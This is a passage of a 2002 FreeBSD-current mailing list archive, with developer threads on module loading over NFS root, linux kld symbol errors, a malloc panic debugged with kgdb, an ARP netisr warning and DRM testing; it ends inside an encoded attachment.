current@freebsd.org Subject: Re: Revision 1.88 of kern_linker.c breaks module loading for diskless In-Reply-To: Message from Ian Dowse of "Fri, 26 Apr 2002 01:09:16 BST." <200204260109.aa01691@salmon.maths.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 26 Apr 2002 02:12:23 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > In message <20020425184846.Q795-100000@beagle.fokus.gmd.de>, Harti Brandt write > s: > >the check for rootdev != NODEV introduced in rev 1.88 breaks loading of > >kernel modules from an NFS mounted root in diskless configurations. > >Dropping in gdb and printing rootdev shows -1 which is, I assume, NODEV. > > Ah, that would explain a problem I saw recently on a netbooted box > where kldload only worked with full module paths. Could `rootvnode' > be checked for NULL instead? Hi, The intent is to discover whether there's a filesystem yet (vn_open() will die horribly otherwise). My use of rootdev is (obviously) flawed. AFAICT, either rootvp or rootvnode should be used, but I can't tell the difference between the two at a glance and am lacking development resources right now (my development box seems to enjoy dropping cores too frequently to build a kernel at the moment). If somebody could test that rootvnode or rootvp are non-NULL after an NFS-mounted root is set up, I'd thankfully approve the quick fix... :*) Cheers. > Ian -- Brian http://www.freebsd-services.com/ Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 18:19:47 2002 Delivered-To: freebsd-current@freebsd.org Received: from sbk-gw.sibnet.ru (sbk-gw.sibnet.ru [217.70.96.146]) by hub.freebsd.org (Postfix) with ESMTP id E193937B404 for ; Thu, 25 Apr 2002 18:19:41 -0700 (PDT) Received: from sbk-gw.sibnet.ru (localhost.sibnet.ru [127.0.0.1]) by sbk-gw.sibnet.ru (8.12.3/8.12.2) with ESMTP id g3Q1JfWL015071 for ; Fri, 26 Apr 2002 08:19:41 +0700 (NOVST) (envelope-from stranger@sberbank.sibnet.ru) Received: from localhost (stranger@localhost) by sbk-gw.sibnet.ru (8.12.3/8.12.3/Submit) with ESMTP id g3Q1JfU1015068 for ; Fri, 26 Apr 2002 08:19:41 +0700 (NOVST) X-Authentication-Warning: sbk-gw.sibnet.ru: stranger owned process doing -bs Date: Fri, 26 Apr 2002 08:19:40 +0700 (NOVST) From: "Maxim M. Kazachek" X-X-Sender: stranger@sbk-gw.sibnet.ru To: freebsd-current@freebsd.org Subject: nVidia nForce 420 Message-ID: <20020426081322.E15044-100000@sbk-gw.sibnet.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Does nVidia nForce 420D chipset is supported by FreeBSD? I'm looking for motherboard upgrade and trying to choose chipset... I've booted my 2 week old FreeBSD on a Gigabyte 7ZXE motherboard... I don't like messages I saw... I'm thinked about Irongate+VIA686B soutbridge... But it seems that it have same problems... And looks that there are no true AMD chipset motherboard... Sincerely, Maxim M. Kazachek mailto:stranger@sberbank.sibnet.ru mailto:stranger@fpm.ami.nstu.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 18:38:38 2002 Delivered-To: freebsd-current@freebsd.org Received: from tinker.exit.com (tinker.exit.com [206.223.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 2DBFC37B405 for ; Thu, 25 Apr 2002 18:38:33 -0700 (PDT) Received: from realtime.exit.com (realtime [206.223.0.5]) by tinker.exit.com (8.12.3/8.12.3) with ESMTP id g3Q1cRl1008048; Thu, 25 Apr 2002 18:38:27 -0700 (PDT) (envelope-from frank@exit.com) Received: from realtime.exit.com (localhost [127.0.0.1]) by realtime.exit.com (8.12.2/8.12.2) with ESMTP id g3Q1cCHO001090; Thu, 25 Apr 2002 18:38:12 -0700 (PDT) (envelope-from frank@realtime.exit.com) Received: (from frank@localhost) by realtime.exit.com (8.12.2/8.12.2/Submit) id g3Q1cBDA001086; Thu, 25 Apr 2002 18:38:11 -0700 (PDT) From: Frank Mayhar Message-Id: <200204260138.g3Q1cBDA001086@realtime.exit.com> Subject: Re: nVidia nForce 420 In-Reply-To: <20020426081322.E15044-100000@sbk-gw.sibnet.ru> To: "Maxim M. Kazachek" Date: Thu, 25 Apr 2002 18:38:11 -0700 (PDT) Cc: freebsd-current@FreeBSD.ORG Reply-To: frank@exit.com Organization: Exit Consulting X-Copyright0: Copyright 2002 Frank Mayhar. All Rights Reserved. X-Copyright1: Permission granted for electronic reproduction as Usenet News or email only. X-Mailer: ELM [version 2.4ME+ PL95a (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Maxim M. Kazachek wrote: > Does nVidia nForce 420D chipset is supported by FreeBSD? I'm looking for > motherboard upgrade and trying to choose chipset... > I've booted my 2 week old FreeBSD on a Gigabyte 7ZXE motherboard... I > don't like messages I saw... I'm thinked about Irongate+VIA686B > soutbridge... But it seems that it have same problems... And looks that > there are no true AMD chipset motherboard... Check out the ASUS A7M266-D motherboard, or the Tyan Tiger MPX. Look like really nice motherboards, both of them (although I'm leaning toward the Tyan). -- Frank Mayhar frank@exit.com http://www.exit.com/ Exit Consulting http://www.gpsclock.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 19:40:20 2002 Delivered-To: freebsd-current@freebsd.org Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) by hub.freebsd.org (Postfix) with ESMTP id A900A37B421; Thu, 25 Apr 2002 19:40:12 -0700 (PDT) Received: from InterJet.elischer.org ([12.232.206.8]) by rwcrmhc52.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020426024012.UQNV12183.rwcrmhc52.attbi.com@InterJet.elischer.org>; Fri, 26 Apr 2002 02:40:12 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id TAA45407; Thu, 25 Apr 2002 19:34:30 -0700 (PDT) Date: Thu, 25 Apr 2002 19:34:29 -0700 (PDT) From: Julian Elischer To: John Baldwin Cc: FreeBSD current users Subject: RE: linux broken? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 25 Apr 2002, John Baldwin wrote: > > kldload sysvipc.ko or compile the SYSV stuff into your kernel. > Perhaps the linux kld needs to have a module dependency on > the sysvipc modules? I did.. it make no difference. > > > julian > > -- > > John Baldwin <>< http://www.FreeBSD.org/~jhb/ > "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 20: 0:35 2002 Delivered-To: freebsd-current@freebsd.org Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) by hub.freebsd.org (Postfix) with ESMTP id 1380B37B405; Thu, 25 Apr 2002 20:00:16 -0700 (PDT) Received: from InterJet.elischer.org ([12.232.206.8]) by rwcrmhc52.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020426030015.VNAE12183.rwcrmhc52.attbi.com@InterJet.elischer.org>; Fri, 26 Apr 2002 03:00:15 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id TAA45478; Thu, 25 Apr 2002 19:52:32 -0700 (PDT) Date: Thu, 25 Apr 2002 19:52:31 -0700 (PDT) From: Julian Elischer To: John Baldwin Cc: FreeBSD current users Subject: RE: linux broken? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 25 Apr 2002, John Baldwin wrote: > > On 25-Apr-2002 Julian Elischer wrote: > > kldload sysvipc.ko or compile the SYSV stuff into your kernel. > Perhaps the linux kld needs to have a module dependency on > the sysvipc modules? there is no sysvipc module but this is what I tried.. jules# cd /boot/kernel jules# ls sy* sym.ko syscall_gate.ko sysvmsg.ko sysvsem.ko sysvshm.ko jules# kldload sysvmsg jules# kldload sysvsem jules# kldload sysvshm jules# kldload linux link_elf: symbol semop undefined kldload: can't load linux: Exec format error jules# > > > julian > > -- > > John Baldwin <>< http://www.FreeBSD.org/~jhb/ > "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 21:55: 7 2002 Delivered-To: freebsd-current@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 6858337B404 for ; Thu, 25 Apr 2002 21:54:57 -0700 (PDT) Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.6/8.11.6) with SMTP id g3Q4skw31312 for ; Fri, 26 Apr 2002 00:54:46 -0400 (EDT) (envelope-from robert@fledge.watson.org) Date: Fri, 26 Apr 2002 00:54:45 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org To: current@FreeBSD.org Subject: free: address 0x3ce000(0x3ce000) has not been allocated. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This from the trustedbsd_mac branch -- malloc is largely untouched (except for a patch I sent to Jeff from Brian Feldman that re-introduces memory trashing on free), and specfs is untouched, so probably also applies to recent -CURRENT. This could well be the malloc debugging panic some others have referred to, but it's the first time I've bumped into it, so figured I'd mention it. I'm in the process of integ'ing the branch to see if that cleans things up some. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services n/dev/md0c: 4096 isectors in 1 cylcinders of 1 trac:ks, 4096 sectors=20 free: address 0x3ce000(0x3ce000) has not been allocated. cpuid =3D 1; lapic.id =3D 01000000 Debugger("panic") Stopped at Debugger+0x41: xorl %eax,%eax db> trace Debugger(c03dfcfa) at Debugger+0x41 panic(c03ddee0,3ce000,3ce000,1,c8eed1c1) at panic+0xd8 free(3ce000,c04416c0,1,c8eed1c1,c93f5a08) at free+0x55 free_ds_label(c8eed1c1,1) at free_ds_label+0x21 dsgone(c93c64d8) at dsgone+0x1b dsopen(c93a2100,2000,0,c93c64d8,c93c64dc) at dsopen+0x71 diskopen(c93a2100,3,2000,c93bc100,c93f5ae0) at diskopen+0xc4 spec_open(c93f5ae0,c93f5b04,c033b7ce,c93f5ae0,c045ee80) at spec_open+0x12b spec_vnoperate(c93f5ae0,c045ee80,c8f2f690,0,c3f75a00) at spec_vnoperate+0x15 ffs_mountfs(c8f2f690,c93cea00,c93bc100,c045ede0,c045ee80) at ffs_mountfs+0x1aa ffs_mount(c93cea00,c93f7580,bfbff1a4,c93f5c18,c93bc100) at ffs_mount+0x5f6 vfs_mount(c93bc100,c8f33020,c93f7580,0,bfbff1a4) at vfs_mount+0x6e6 mount(c93bc100,c93f5d20,0,0,0) at mount+0x6a syscall(2f,2f,2f,0,0) at syscall+0x223 syscall_with_err_pushed() at syscall_with_err_pushed+0x1b --- syscall (21, FreeBSD ELF, mount), eip =3D 0x804bcef, esp =3D 0xbfbff148= , ebp =3D 0xbfbff214 --- Remote debugging using /dev/cuaa0 Debugger (msg=3D0xc03dfcfa "panic") at machine/atomic.h:227 227 ATOMIC_STORE_LOAD(int, "cmpxchgl %0,%1", "xchgl %1,%0") (kgdb) up #1 0xc02538d8 in panic ( fmt=3D0xc03ddee0 "free: address %p(%p) has not been allocated.\n") at ../../../kern/kern_shutdown.c:477 477 Debugger ("panic"); (kgdb) up #2 0xc024abc5 in free (addr=3D0x3ce000, type=3D0xc04416c0) at ../../../kern/kern_malloc.c:238 (kgdb) up #3 0xc02639c1 in free_ds_label (ssp=3D0xc8eed1c1, slice=3D1) at ../../../kern/subr_diskslice.c:858 858 free(lp, M_DEVBUF); (kgdb) list 853 854 sp =3D &ssp->dss_slices[slice]; 855 lp =3D sp->ds_label; 856 if (lp =3D=3D NULL) 857 return; 858 free(lp, M_DEVBUF); 859 set_ds_label(ssp, slice, (struct disklabel *)NULL); 860 } 861 862 (kgdb) inspect ssp $2 =3D (struct diskslices *) 0xc8eed1c1 (kgdb) inspect slice $3 =3D 1 (kgdb) inspect *ssp $4 =3D {dss_cdevsw =3D 0xdeadc0de, dss_first_bsd_slice =3D 0, dss_nslices = =3D 2,=20 dss_oflags =3D 0, dss_secmult =3D 1, dss_secshift =3D 0, dss_secsize =3D = 512,=20 dss_slices =3D {{ds_offset =3D 0, ds_size =3D 4096, ds_type =3D 0, ds_lab= el =3D 0x0,=20 ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0,= =20 ds_size =3D 4096, ds_type =3D 0, ds_label =3D 0x3ce000,=20 ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}, {ds_offset =3D 117440512,=20 ds_size =3D 0, ds_type =3D 12629504, ds_label =3D 0xc0b601,=20 ds_openmask =3D 2 '\002', ds_wlabel =3D 182 '=B6'}, {ds_offset =3D 12= 629507,=20 ds_size =3D 12629508, ds_type =3D 12629509, ds_label =3D 0xc0b609,=20 ds_openmask =3D 7 '\a', ds_wlabel =3D 182 '=B6'}, {ds_offset =3D 1262= 9512,=20 ds_size =3D 12629513, ds_type =3D 12629514, ds_label =3D 0xc0b60b,=20 ds_openmask =3D 12 '\f', ds_wlabel =3D 182 '=B6'}, {ds_offset =3D 126= 29517,=20 ds_size =3D 12629518, ds_type =3D -1597983217, ds_label =3D 0xc8ef6b,= =20 ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0,= =20 ds_size =3D 3288334336, ds_type =3D 13163892, ds_label =3D 0x0,=20 ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0,= =20 ds_size =3D 0, ds_type =3D 0, ds_label =3D 0x0, ds_openmask =3D 0 '\0= 00',=20 ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0, ds_size =3D 0, ds_type =3D 8388608,=20 ds_label =3D 0x0, ds_openmask =3D 241 '=F1', ds_wlabel =3D 181 '=B5'}= , { ds_offset =3D 12629489, ds_size =3D 12629490, ds_type =3D 12629491,= =20 ds_label =3D 0xc0b5f4, ds_openmask =3D 245 '=F5', ds_wlabel =3D 181 '= =B5'}, { ds_offset =3D 12629494, ds_size =3D 12629495, ds_type =3D 12629496,= =20 ds_label =3D 0xc0b5f9, ds_openmask =3D 250 '=FA', ds_wlabel =3D 181 '= =B5'}, { ds_offset =3D 12629499, ds_size =3D 12629500, ds_type =3D 12629501,= =20 ds_label =3D 0xc0b5fe, ds_openmask =3D 255 '=FF', ds_wlabel =3D 181 '= =B5'}, { ds_offset =3D 155668, ds_size =3D 0, ds_type =3D 0, ds_label =3D 0x0,= =20 ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0,= =20 ds_size =3D 0, ds_type =3D 0, ds_label =3D 0x0, ds_openmask =3D 0 '\0= 00',=20 ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0, ds_size =3D 0, ds_type =3D= 0,=20 ds_label =3D 0x18000000, ds_openmask =3D 211 '=D3', ds_wlabel =3D 238= '=EE'}, { ds_offset =3D 805634303, ds_size =3D 13168339, ds_type =3D 0, ds_labe= l =3D 0x0,=20 ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}, {ds_offset =3D 63499990,=20 ds_size =3D 266240, ds_type =3D -1744830464, ds_label =3D 0xc8eed4,= =20 ds_openmask =3D 211 '=D3', ds_wlabel =3D 238 '=EE'}, {ds_offset =3D 4294967295,=20 ds_size =3D 4294967295, ds_type =3D -1, ds_label =3D 0xffffff,=20 ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0,= =20 ds_size =3D 0, ds_type =3D 0, ds_label =3D 0x0, ds_openmask =3D 0 '\0= 00',=20 ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0, ds_size =3D 0, ds_type =3D= 0,=20 ds_label =3D 0x0, ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}, = { ds_offset =3D 0, ds_size =3D 0, ds_type =3D 0, ds_label =3D 0x0,=20 ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}, {ds_offset =3D 13107686,=20 ---Type to continue, or q to quit--- ds_size =3D 67108864, ds_type =3D 482929854, ds_label =3D 0x1c,=20 ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}, {ds_offset =3D 327= 808,=20 ds_size =3D 0, ds_type =3D 0, ds_label =3D 0x0, ds_openmask =3D 0 '\0= 00',=20 ds_wlabel =3D 0 '\000'}, {ds_offset =3D 4294967295, ds_size =3D 16777= 215,=20 ds_type =3D 0, ds_label =3D 0x0, ds_openmask =3D 0 '\000',=20 ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0, ds_size =3D 0, ds_type =3D -16777216,=20 ds_label =3D 0xffffffff, ds_openmask =3D 255 '=FF', ds_wlabel =3D 255= '=FF'}, { ds_offset =3D 0, ds_size =3D 50331648, ds_type =3D 16777216, ds_label= =3D 0x0,=20 ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0,= =20 ds_size =3D 0, ds_type =3D 0, ds_label =3D 0x0, ds_openmask =3D 0 '\0= 00',=20 ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0, ds_size =3D 469762048,=20 ds_type =3D 28, ds_label =3D 0xfe000000, ds_openmask =3D 128 '\200',= =20 ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0, ds_size =3D 0, ds_type =3D= 65536,=20 ds_label =3D 0x36000000, ds_openmask =3D 18 '\022', ds_wlabel =3D 5 '\005'}, { ds_offset =3D 0, ds_size =3D 0, ds_type =3D 0, ds_label =3D 0x0,=20 ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0,= =20 ds_size =3D 0, ds_type =3D 0, ds_label =3D 0x0, ds_openmask =3D 0 '\0= 00',=20 ds_wlabel =3D 0 '\000'}, {ds_offset =3D 0, ds_size =3D 0, ds_type =3D= 0,=20 ds_label =3D 0x0, ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'}}} (kgdb) inspect ssp->dss_slices[slice] $5 =3D {ds_offset =3D 0, ds_size =3D 4096, ds_type =3D 0, ds_label =3D 0x3c= e000,=20 ds_openmask =3D 0 '\000', ds_wlabel =3D 0 '\000'} To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 22: 5:32 2002 Delivered-To: freebsd-current@freebsd.org Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id 0A61037B416; Thu, 25 Apr 2002 22:05:28 -0700 (PDT) Received: from pool0657.cvx21-bradley.dialup.earthlink.net ([209.179.194.147] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 170xvD-0002yY-00; Thu, 25 Apr 2002 22:05:27 -0700 Message-ID: <3CC8DFF5.952BD013@mindspring.com> Date: Thu, 25 Apr 2002 22:04:53 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: John Baldwin Cc: "(Jan Stocker)" , BOUWSMA Beery , current@freebsd.org Subject: Re: Minor things: swi_net: unregistered isr number References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John Baldwin wrote: > On 25-Apr-2002 Jan Stocker wrote: > > My -current system gives me a > > > > swi_net: unregistered isr number: 18. > > > > too. I cant find any reply to this old subject. May anyone know where it > > comes from? > > It seems to trigger whenever there is traffic while the IP is 0.0.0.0, > even for non-DHCP stuff. I'm not sure what is causing it. Protocol 18 is "ARP". The message only happens when the network code is up, but before the ARP protocol handler is registered. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Apr 25 23:14:22 2002 Delivered-To: freebsd-current@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [66.92.160.223]) by hub.freebsd.org (Postfix) with ESMTP id DCF0837B404; Thu, 25 Apr 2002 23:14:15 -0700 (PDT) Received: from sasami.jurai.net (sasami.jurai.net [66.92.160.223]) by sasami.jurai.net (8.12.2/8.12.2) with ESMTP id g3Q6EC2A098702; Fri, 26 Apr 2002 02:14:14 -0400 (EDT) (envelope-from winter@jurai.net) Date: Fri, 26 Apr 2002 02:14:12 -0400 (EDT) From: "Matthew N. Dodd" To: Peter Wemm Cc: John Baldwin , Jan Stocker , BOUWSMA Beery , Subject: Re: Minor things: swi_net: unregistered isr number In-Reply-To: <20020426011243.845D839EA@overcee.wemm.org> Message-ID: <20020426021139.F42854-100000@sasami.jurai.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 25 Apr 2002, Peter Wemm wrote: > This is well known. If we recieve an ARP frame before we sent one, then > we print this. eg: a broadcast ARP packet will trigger it. dhclient > etc use bpf etc so ARP isn't initialized at this point. We could just put this block of code from arp_rtrequest() into arp_init(). LIST_INIT(&llinfo_arp); timeout(arptimer, (caddr_t)0, hz); register_netisr(NETISR_ARP, arpintr); I'm not sure why it should to be in arp_rtrequest() in the first place. -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | For Great Justice! | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 0: 4: 5 2002 Delivered-To: freebsd-current@freebsd.org Received: from mbg.sphere.ne.jp (mbg.sphere.ne.jp [210.150.254.179]) by hub.freebsd.org (Postfix) with ESMTP id D59D737B41C for ; Fri, 26 Apr 2002 00:03:22 -0700 (PDT) Received: from localhost (snowwind.kawasaki3.org [210.136.45.51]) by mbg.sphere.ne.jp (Postfix) with ESMTP id D89C43A3A0; Fri, 26 Apr 2002 16:03:17 +0900 (JST) Date: Fri, 26 Apr 2002 16:03:16 +0900 (JST) Message-Id: <20020426.160316.74739357.kawasaki@mbg.sphere.ne.jp> To: eanholt@gladstone.uoregon.edu Cc: current@freebsd.org, freebsd-xfree86@lists.csociety.org Subject: Re: DRM in the sys/ tree: looking for testers From: moto kawasaki In-Reply-To: <1019092948.734.19.camel@anholt.dyndns.org> References: <1019092948.734.19.camel@anholt.dyndns.org> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Multipart/Mixed; boundary="--Next_Part(Fri_Apr_26_16:03:16_2002_031)--" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----Next_Part(Fri_Apr_26_16:03:16_2002_031)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Thank you very much, Mr. Eric Anholt, I have been testing your code on my PC, and found that kernel cannot initialize agpgart device so far. Environment: Dell Latitude C400 (w/ Intel 82830 aka I830MG) FreeBSD 4.5 STABLE (last cvsuped around 2002/Apr/24) XFree86 4.2.0 (using /usr/ports/x11/XFree86-4/, cvsuped on the same day) sysdrm-2002-04-21-tcldrm.tar.gz sysdrm-2002-04-20-tclmodules.tar.gz sysdrm-2002-04-20-tclstableconf.diff (following http://gladstone.uoregon.edu/~eanholt/dri/install.html) Also, please find attached several configuration files and logs. I myself am not an expert of neither FreeBSD kernel nor XFree86, but I am eager to become a test monkey for saving my life :-) Thank you very much. Yours, moto kawasaki ----Next_Part(Fri_Apr_26_16:03:16_2002_031)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: x-gzip64 Content-Disposition: inline; filename=KAWASAKI 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 